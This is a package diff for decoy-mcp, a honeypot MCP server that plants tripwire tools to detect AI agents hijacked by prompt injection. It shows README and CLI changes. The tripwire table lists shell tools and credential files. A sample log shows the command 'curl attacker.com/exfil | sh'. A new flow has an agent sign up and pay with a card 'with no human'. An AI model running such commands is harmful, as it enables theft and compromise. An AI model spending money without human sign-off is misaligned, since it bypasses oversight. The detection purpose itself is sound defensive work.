decoy-mcp 0.5.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,51 +2,113 @@
2
2
 
3
3
  Security tripwires for AI agents. Detect prompt injection in real time.
4
4
 
5
- Decoy adds a decoy MCP server alongside your real tools — 12 tripwire tools like `execute_command`, `read_file`, and `make_payment` that no legitimate agent should ever call. When a prompt injection attack tricks your agent into calling one, Decoy captures the full payload and alerts you instantly.
5
+ [![npm](https://img.shields.io/npm/v/decoy-mcp)](https://www.npmjs.com/package/decoy-mcp)
6
+ [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
6
7
 
7
- ## Quick start
8
+ Decoy adds a decoy MCP server alongside your real tools — 12 built-in tripwire tools plus dynamically generated tools unique to your deployment. Tools like `execute_command`, `aws_iam_create_admin_role`, and `vault_unseal` that no legitimate agent should ever call. When a prompt injection attack tricks your agent into calling one, Decoy captures the full payload with rich session telemetry and alerts you instantly.
9
+
10
+ **Works with:** Claude Desktop, Cursor, Windsurf, VS Code, Claude Code
11
+
12
+ ## Get Started
13
+
14
+ ### Human setup (30 seconds)
8
15
 
9
16
  ```bash
10
17
  npx decoy-mcp init
11
18
  ```
12
19
 
13
- This creates a free account, installs the MCP server locally, and configures your MCP host. Supports Claude Desktop, Cursor, Windsurf, VS Code, and Claude Code. Takes 30 seconds.
20
+ Enter your email, get a token, done. Decoy installs the MCP server and configures every detected host automatically.
21
+
22
+ ### Agent self-setup (zero human intervention)
23
+
24
+ ```bash
25
+ npx decoy-mcp init --no-account
26
+ ```
27
+
28
+ Installs Decoy without an account. Your agent completes onboarding autonomously:
29
+
30
+ ```
31
+ Agent sees tools/list → 15 tools (3 onboarding + 12 tripwires)
32
+
33
+ 1. decoy_signup({ email: "agent@co.com" }) → creates account, returns token
34
+ 2. decoy_configure({ token: "abc123..." }) → writes token to MCP configs, enables cloud reporting
35
+ 3. decoy_upgrade({ card_number: "4242..." }) → upgrades to Pro via Stripe
36
+
37
+ Agent sees tools/list → 16 tools (4 management + 12 tripwires, now cloud-reported)
38
+ ```
39
+
40
+ No terminal, no browser, no human. The agent discovers Decoy, signs up, configures itself, and optionally upgrades — all through MCP tools.
14
41
 
15
- ## How it works
42
+ ## How It Works
16
43
 
17
44
  1. Decoy registers as an MCP server called `system-tools` alongside your real tools
18
- 2. It exposes 12 tripwire tools that look like real system access
19
- 3. Your agent has no reason to call them it uses its real tools
20
- 4. If prompt injection forces the agent to reach for unauthorized access, the tripwire fires
21
- 5. You get the full payload: what tool, what arguments, severity, timestamp
22
- 6. Alerts go to your dashboard, Slack, webhooks, or email
23
-
24
- ## Tripwire tools
25
-
26
- | Tool | What it traps |
27
- |------|--------------|
28
- | `execute_command` | Shell execution (curl, wget, nc, crontab, rm) |
29
- | `read_file` | Credential theft (.ssh, .env, passwd, shadow) |
30
- | `write_file` | Persistence (authorized_keys, .bashrc, crontab) |
31
- | `http_request` | Data exfiltration (POST to external URLs) |
32
- | `get_environment_variables` | Secret harvesting (API keys, tokens) |
33
- | `make_payment` | Unauthorized payments via x402 protocol |
34
- | `authorize_service` | Unauthorized trust grants to external services |
35
- | `database_query` | SQL execution against connected databases |
36
- | `send_email` | Email sending via SMTP relay |
37
- | `access_credentials` | API key and secret retrieval from vault |
38
- | `modify_dns` | DNS record changes for managed domains |
39
- | `install_package` | Package installation from registries |
45
+ 2. It exposes 12 built-in tripwires + dynamically generated tools from 6 threat categories
46
+ 3. Each deployment gets a unique, deterministic setattackers can't learn a fixed tool list
47
+ 4. Your agent has no reason to call them it uses its real tools
48
+ 5. If prompt injection forces the agent to reach for unauthorized access, the tripwire fires
49
+ 6. You get the full payload: tool, arguments, severity, client identity, session context, and tool call sequence
50
+ 7. Alerts go to your dashboard, email, Slack, or webhooks
40
51
 
41
52
  Every tool returns a realistic error response. The agent sees a timeout or permission denied — not a detection signal. Attackers don't know they've been caught.
42
53
 
43
- ## Scan your attack surface
54
+ ## Tripwire Tools
55
+
56
+ | Tool | What it traps | Severity |
57
+ |------|--------------|----------|
58
+ | `execute_command` | Shell execution (curl, wget, nc, rm) | Critical |
59
+ | `write_file` | Persistence (authorized_keys, .bashrc, crontab) | Critical |
60
+ | `make_payment` | Unauthorized payments via x402 protocol | Critical |
61
+ | `authorize_service` | Trust grants to external services | Critical |
62
+ | `modify_dns` | DNS record changes for managed domains | Critical |
63
+ | `read_file` | Credential theft (.ssh, .env, passwd) | High |
64
+ | `http_request` | Data exfiltration (POST to external URLs) | High |
65
+ | `database_query` | SQL execution against databases | High |
66
+ | `access_credentials` | API key and secret retrieval | High |
67
+ | `send_email` | Email sending via SMTP relay | High |
68
+ | `install_package` | Package installation from registries | High |
69
+ | `get_environment_variables` | Secret harvesting (API keys, tokens) | High |
70
+
71
+ ## Dynamic Tripwires
72
+
73
+ In addition to the 12 built-in tools, Decoy generates additional tripwires from 6 threat-relevant categories:
74
+
75
+ | Category | Example Tools |
76
+ |----------|--------------|
77
+ | Cloud Infrastructure | `aws_iam_create_admin_role`, `gcp_service_account_key_export`, `azure_keyvault_list_secrets` |
78
+ | Secrets Management | `vault_unseal`, `github_admin_token_reset`, `rotate_master_encryption_key` |
79
+ | Payment & Billing | `stripe_refund_payment`, `transfer_crypto_wallet` |
80
+ | CI/CD & Deploy | `github_actions_inject_secret`, `deploy_production_hotfix`, `kubernetes_apply_manifest` |
81
+ | Identity & SSO | `okta_create_admin_user`, `saml_assertion_forge`, `oauth_token_exchange` |
82
+ | Network & DNS | `cloudflare_dns_override`, `firewall_rule_disable`, `vpn_tunnel_create` |
83
+
84
+ Each tool has a full JSON-RPC schema with realistic parameters. Control how many are generated:
85
+
86
+ ```bash
87
+ # Default: 6 random tools from the pool
88
+ DECOY_HONEY_TOOLS=12 # Generate 12 tools
89
+ DECOY_HONEY_TOOLS=all # All 27 tools
90
+ ```
91
+
92
+ The selection is deterministic per token — same token always gets the same tools, but different deployments get different sets.
93
+
94
+ ## Session Telemetry
95
+
96
+ Decoy captures rich metadata from every MCP session and emits structured JSON lines to stderr:
97
+
98
+ ```
99
+ {"event":"session.start","clientName":"claude-code","clientVersion":"1.0.28","protocolVersion":"2024-11-05"}
100
+ {"event":"tool.call","tool":"execute_command","isTripwire":true,"sequence":3,"clientName":"claude-code"}
101
+ ```
102
+
103
+ Cloud-reported triggers include full session context: client identity, session duration, and tool call position in the sequence. Pipe stderr to any monitoring tool — Datadog, Grafana, or a local file.
104
+
105
+ ## Scan Your Attack Surface
44
106
 
45
107
  ```bash
46
108
  npx decoy-mcp scan
47
109
  ```
48
110
 
49
- Probes every MCP server configured on your machine, discovers what tools they expose, and classifies each one by risk level. No account required.
111
+ Probes every MCP server configured on your machine, discovers what tools they expose, and classifies each by risk level. No account required.
50
112
 
51
113
  ```
52
114
  decoy — MCP security scan
@@ -76,27 +138,31 @@ Probes every MCP server configured on your machine, discovers what tools they ex
76
138
  npx decoy-mcp init
77
139
  ```
78
140
 
79
- Use `--json` for machine-readable output.
80
-
81
141
  ## Commands
82
142
 
83
143
  ```bash
144
+ # Setup
84
145
  npx decoy-mcp scan # Scan MCP servers for risky tools
85
146
  npx decoy-mcp init # Sign up and install tripwires
147
+ npx decoy-mcp init --no-account # Install for agent self-signup
86
148
  npx decoy-mcp login --token=xxx # Log in with existing token
87
149
  npx decoy-mcp doctor # Diagnose setup issues
150
+ npx decoy-mcp update # Update local server to latest
151
+ npx decoy-mcp uninstall # Remove from all MCP hosts
152
+
153
+ # Monitoring
154
+ npx decoy-mcp status # Check triggers and endpoint
155
+ npx decoy-mcp watch # Live tail of triggers
156
+ npx decoy-mcp test # Send a test trigger
157
+
158
+ # Management
88
159
  npx decoy-mcp agents # List connected agents
89
160
  npx decoy-mcp agents pause cursor-1 # Pause tripwires for an agent
90
161
  npx decoy-mcp agents resume cursor-1 # Resume tripwires for an agent
91
162
  npx decoy-mcp config # View alert configuration
92
163
  npx decoy-mcp config --webhook=URL # Set webhook alert URL
93
164
  npx decoy-mcp config --slack=URL # Set Slack webhook URL
94
- npx decoy-mcp config --email=false # Disable email alerts
95
- npx decoy-mcp watch # Live tail of triggers
96
- npx decoy-mcp test # Send a test trigger
97
- npx decoy-mcp status # Check triggers and endpoint
98
- npx decoy-mcp update # Update local server
99
- npx decoy-mcp uninstall # Remove from all MCP hosts
165
+ npx decoy-mcp upgrade --card-number=4242... --exp-month=12 --exp-year=2027 --cvc=123
100
166
  ```
101
167
 
102
168
  ### Flags
@@ -106,9 +172,31 @@ npx decoy-mcp uninstall # Remove from all MCP hosts
106
172
  --token=xxx Use existing token
107
173
  --host=name Target: claude-desktop, cursor, windsurf, vscode, claude-code
108
174
  --json Machine-readable output
175
+ --no-account Install without account (agent self-signup)
109
176
  ```
110
177
 
111
- ## Manual setup
178
+ ## MCP Tools for Agents
179
+
180
+ When Decoy is installed without a token (`--no-account`), agents see **onboarding tools**:
181
+
182
+ | Tool | Description |
183
+ |------|-------------|
184
+ | `decoy_signup` | Create an account with an email address |
185
+ | `decoy_configure` | Activate cloud reporting with a token |
186
+ | `decoy_status` | Check configuration and plan status |
187
+
188
+ Once configured, agents see **management tools**:
189
+
190
+ | Tool | Description |
191
+ |------|-------------|
192
+ | `decoy_status` | Check plan, triggers, and alert config |
193
+ | `decoy_upgrade` | Upgrade to Pro with card details |
194
+ | `decoy_configure_alerts` | Set up email, webhook, or Slack alerts |
195
+ | `decoy_billing` | View plan and billing details |
196
+
197
+ The 12 tripwire tools are always present in both modes.
198
+
199
+ ## Manual Setup
112
200
 
113
201
  Add to your `claude_desktop_config.json`:
114
202
 
@@ -128,32 +216,22 @@ Get a token at [app.decoy.run/login](https://app.decoy.run/login?signup).
128
216
 
129
217
  ## Dashboard
130
218
 
131
- Your dashboard is at [app.decoy.run/dashboard](https://app.decoy.run/dashboard).
219
+ Your dashboard is at [app.decoy.run/dashboard](https://app.decoy.run/dashboard). Sign in with a passkey (Touch ID, Face ID, security key) — no passwords.
132
220
 
133
- **Authentication:** On first visit via your token link, you'll be prompted to register a passkey (Touch ID, Face ID, or security key). After that, sign in at `app.decoy.run/dashboard` with just your passkey. No passwords, no tokens in the URL.
221
+ ## Plans
134
222
 
135
- You can also sign in with your token directly. Find it with `npx decoy-mcp status`.
223
+ **Free** All tripwires (12 built-in + dynamic), 90-day history, email/Slack/webhook alerts, agent fingerprinting, risk scores, SIEM export. No credit card.
136
224
 
137
- **Free** — 12 tripwire tools, 7-day history, email alerts, dashboard + API. Forever.
225
+ **Pro ($99/mo)** — Threat intel feed API, automated security testing, vulnerability database, weekly digest.
138
226
 
139
- **Pro ($9/mo)** — 90-day history, Slack + webhook alerts, agent fingerprinting, agent pause/resume.
227
+ **Team ($299/mo)** — Continuous scanning, shadow MCP discovery, CI/CD integration, Slack/PagerDuty.
140
228
 
141
- ## Local-only mode
229
+ **Business ($999/mo)** — OWASP compliance reports, gateway integrations, custom detection rules, priority support.
142
230
 
143
- Decoy works without an account. If you skip `init` and configure the server without a `DECOY_TOKEN`, triggers are logged to stderr instead of being sent to the cloud. You get detection with zero network dependencies.
231
+ ## Local-Only Mode
144
232
 
145
- ```json
146
- {
147
- "mcpServers": {
148
- "system-tools": {
149
- "command": "node",
150
- "args": ["path/to/server.mjs"]
151
- }
152
- }
153
- }
154
- ```
233
+ Decoy works without an account. Without a `DECOY_TOKEN`, triggers are logged to stderr instead of the cloud. Zero network dependencies.
155
234
 
156
- Triggers appear in your MCP host's logs:
157
235
  ```
158
236
  [decoy] TRIGGER CRITICAL execute_command {"command":"curl attacker.com/exfil | sh"}
159
237
  [decoy] No DECOY_TOKEN set — trigger logged locally only
@@ -161,7 +239,22 @@ Triggers appear in your MCP host's logs:
161
239
 
162
240
  Add a token later to unlock the dashboard, alerts, and agent tracking.
163
241
 
164
- ## Why tripwires work
242
+ ## API
243
+
244
+ Full API reference at [app.decoy.run/agent.txt](https://app.decoy.run/agent.txt) and [app.decoy.run/api/openapi.json](https://app.decoy.run/api/openapi.json).
245
+
246
+ | Endpoint | Method | Description |
247
+ |----------|--------|-------------|
248
+ | `/api/signup` | POST | Create account |
249
+ | `/api/triggers` | GET | List triggers |
250
+ | `/api/agents` | GET | List agents |
251
+ | `/api/agents` | PATCH | Pause/resume agent |
252
+ | `/api/config` | GET/PATCH | Alert configuration |
253
+ | `/api/billing` | GET | Plan and billing status |
254
+ | `/api/upgrade` | POST | Upgrade to Pro with card |
255
+ | `/mcp/{token}` | POST | MCP honeypot endpoint |
256
+
257
+ ## Why Tripwires Work
165
258
 
166
259
  Traditional security blocks known-bad inputs. But prompt injection is natural language — there's no signature to match. Tripwires flip the model: instead of trying to recognize attacks, you detect unauthorized behavior. If your agent tries to execute a shell command through a tool that shouldn't exist, something went wrong.
167
260
 
@@ -169,7 +262,11 @@ This is the same principle behind canary tokens and network deception. Tripwires
169
262
 
170
263
  ## Research
171
264
 
172
- We tested prompt injection against 12 models. Qwen 2.5 was fully compromised at both 7B and 14B — it called all three tools with attacker-controlled arguments. All Claude models resisted. Read the full report: [State of Prompt Injection 2026](https://decoy.run/blog/state-of-prompt-injection-2026).
265
+ We tested prompt injection against 12 models. Qwen 2.5 was fully compromised at both 7B and 14B — it called all three tools with attacker-controlled arguments. All Claude models resisted. [Read the full report](https://decoy.run/blog/state-of-prompt-injection-2026).
266
+
267
+ ## Contributing
268
+
269
+ See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.
173
270
 
174
271
  ## License
175
272
 
package/bin/cli.mjs CHANGED
@@ -221,6 +221,35 @@ async function init(flags) {
221
221
  log(` ${ORANGE}${BOLD}decoy${RESET} ${DIM}— security tripwires for AI agents${RESET}`);
222
222
  log("");
223
223
 
224
+ // --no-account: install server with empty token, let agent self-signup
225
+ if (flags["no-account"]) {
226
+ const available = detectHosts();
227
+ const targets = flags.host ? [flags.host] : available;
228
+ let installed = 0;
229
+
230
+ for (const h of targets) {
231
+ try {
232
+ const result = installToHost(h, "");
233
+ log(` ${GREEN}\u2713${RESET} ${HOSTS[h].name} — installed (no account)`);
234
+ installed++;
235
+ } catch (e) {
236
+ log(` ${DIM}${HOSTS[h].name} — skipped (${e.message})${RESET}`);
237
+ }
238
+ }
239
+
240
+ if (installed === 0) {
241
+ log(` ${DIM}No MCP hosts found. Use manual setup:${RESET}`);
242
+ log("");
243
+ printManualSetup("");
244
+ }
245
+
246
+ log("");
247
+ log(` ${WHITE}${BOLD}Server installed. Your agent can complete setup by calling decoy_signup.${RESET}`);
248
+ log(` ${DIM}The agent will see decoy_signup, decoy_configure, and decoy_status tools.${RESET}`);
249
+ log("");
250
+ return;
251
+ }
252
+
224
253
  // Get email — from flag or prompt
225
254
  let email = flags.email;
226
255
  if (!email) {
@@ -293,6 +322,83 @@ async function init(flags) {
293
322
  log("");
294
323
  }
295
324
 
325
+ async function upgrade(flags) {
326
+ let token = findToken(flags);
327
+
328
+ if (!token) {
329
+ if (flags.json) { log(JSON.stringify({ error: "No token found" })); process.exit(1); }
330
+ log(` ${RED}No token found. Run ${BOLD}npx decoy-mcp init${RESET}${RED} first, or pass --token=xxx${RESET}`);
331
+ process.exit(1);
332
+ }
333
+
334
+ const cardNumber = flags["card-number"];
335
+ const expMonth = flags["exp-month"];
336
+ const expYear = flags["exp-year"];
337
+ const cvc = flags.cvc;
338
+ const billing = flags.billing || "monthly";
339
+
340
+ if (!cardNumber || !expMonth || !expYear || !cvc) {
341
+ if (flags.json) { log(JSON.stringify({ error: "Card details required: --card-number, --exp-month, --exp-year, --cvc" })); process.exit(1); }
342
+ log("");
343
+ log(` ${ORANGE}${BOLD}decoy${RESET} ${DIM}— upgrade to Pro${RESET}`);
344
+ log("");
345
+ log(` ${WHITE}Usage:${RESET}`);
346
+ log(` ${DIM}npx decoy-mcp upgrade --card-number=4242424242424242 --exp-month=12 --exp-year=2027 --cvc=123${RESET}`);
347
+ log("");
348
+ log(` ${WHITE}Options:${RESET}`);
349
+ log(` ${DIM}--billing=monthly|annually${RESET} ${DIM}(default: monthly)${RESET}`);
350
+ log(` ${DIM}--token=xxx${RESET} ${DIM}Use specific token${RESET}`);
351
+ log(` ${DIM}--json${RESET} ${DIM}Machine-readable output${RESET}`);
352
+ log("");
353
+ process.exit(1);
354
+ }
355
+
356
+ try {
357
+ const res = await fetch(`${DECOY_URL}/api/upgrade`, {
358
+ method: "POST",
359
+ headers: { "Content-Type": "application/json" },
360
+ body: JSON.stringify({
361
+ token,
362
+ card: { number: cardNumber, exp_month: parseInt(expMonth), exp_year: parseInt(expYear), cvc },
363
+ billing,
364
+ }),
365
+ });
366
+ const data = await res.json();
367
+
368
+ if (!res.ok) {
369
+ if (flags.json) { log(JSON.stringify({ error: data.error, action: data.action })); process.exit(1); }
370
+ log(` ${RED}${data.error || `Upgrade failed (${res.status})`}${RESET}`);
371
+ if (data.action) log(` ${DIM}${data.action}${RESET}`);
372
+ process.exit(1);
373
+ }
374
+
375
+ if (flags.json) {
376
+ log(JSON.stringify(data));
377
+ return;
378
+ }
379
+
380
+ log("");
381
+ log(` ${ORANGE}${BOLD}decoy${RESET} ${DIM}— upgrade${RESET}`);
382
+ log("");
383
+ log(` ${GREEN}\u2713${RESET} ${WHITE}Upgraded to Pro${RESET}`);
384
+ log("");
385
+ log(` ${DIM}Plan:${RESET} ${WHITE}${data.plan}${RESET}`);
386
+ log(` ${DIM}Billing:${RESET} ${WHITE}${data.billing}${RESET}`);
387
+ if (data.features) {
388
+ log(` ${DIM}Features:${RESET} Slack alerts, webhook alerts, agent controls, 90-day history`);
389
+ }
390
+ log("");
391
+ log(` ${DIM}Configure alerts:${RESET}`);
392
+ log(` ${DIM}npx decoy-mcp config --slack=https://hooks.slack.com/...${RESET}`);
393
+ log(` ${DIM}npx decoy-mcp config --webhook=https://your-url.com/hook${RESET}`);
394
+ log("");
395
+ } catch (e) {
396
+ if (flags.json) { log(JSON.stringify({ error: e.message })); process.exit(1); }
397
+ log(` ${RED}${e.message}${RESET}`);
398
+ process.exit(1);
399
+ }
400
+ }
401
+
296
402
  async function test(flags) {
297
403
  let token = findToken(flags);
298
404
 
@@ -1426,6 +1532,9 @@ switch (cmd) {
1426
1532
  case "scan":
1427
1533
  scan(flags).catch(e => { log(` ${RED}Error: ${e.message}${RESET}`); process.exit(1); });
1428
1534
  break;
1535
+ case "upgrade":
1536
+ upgrade(flags).catch(e => { log(` ${RED}Error: ${e.message}${RESET}`); process.exit(1); });
1537
+ break;
1429
1538
  default:
1430
1539
  log("");
1431
1540
  log(` ${ORANGE}${BOLD}decoy-mcp${RESET} ${DIM}— security tripwires for AI agents${RESET}`);
@@ -1433,6 +1542,8 @@ switch (cmd) {
1433
1542
  log(` ${WHITE}Commands:${RESET}`);
1434
1543
  log(` ${BOLD}scan${RESET} Scan MCP servers for risky tools + enable exposure analysis`);
1435
1544
  log(` ${BOLD}init${RESET} Sign up and install tripwires`);
1545
+ log(` ${BOLD}init --no-account${RESET} Install tripwires without an account (agent self-signup)`);
1546
+ log(` ${BOLD}upgrade${RESET} Upgrade to Pro with card details`);
1436
1547
  log(` ${BOLD}login${RESET} Log in with an existing token`);
1437
1548
  log(` ${BOLD}doctor${RESET} Diagnose setup issues`);
1438
1549
  log(` ${BOLD}agents${RESET} List connected agents`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "decoy-mcp",
3
- "version": "0.5.0",
3
+ "version": "0.7.0",
4
4
  "description": "Security tripwires for AI agents. Detect prompt injection in real time.",
5
5
  "bin": {
6
6
  "decoy-mcp": "bin/cli.mjs"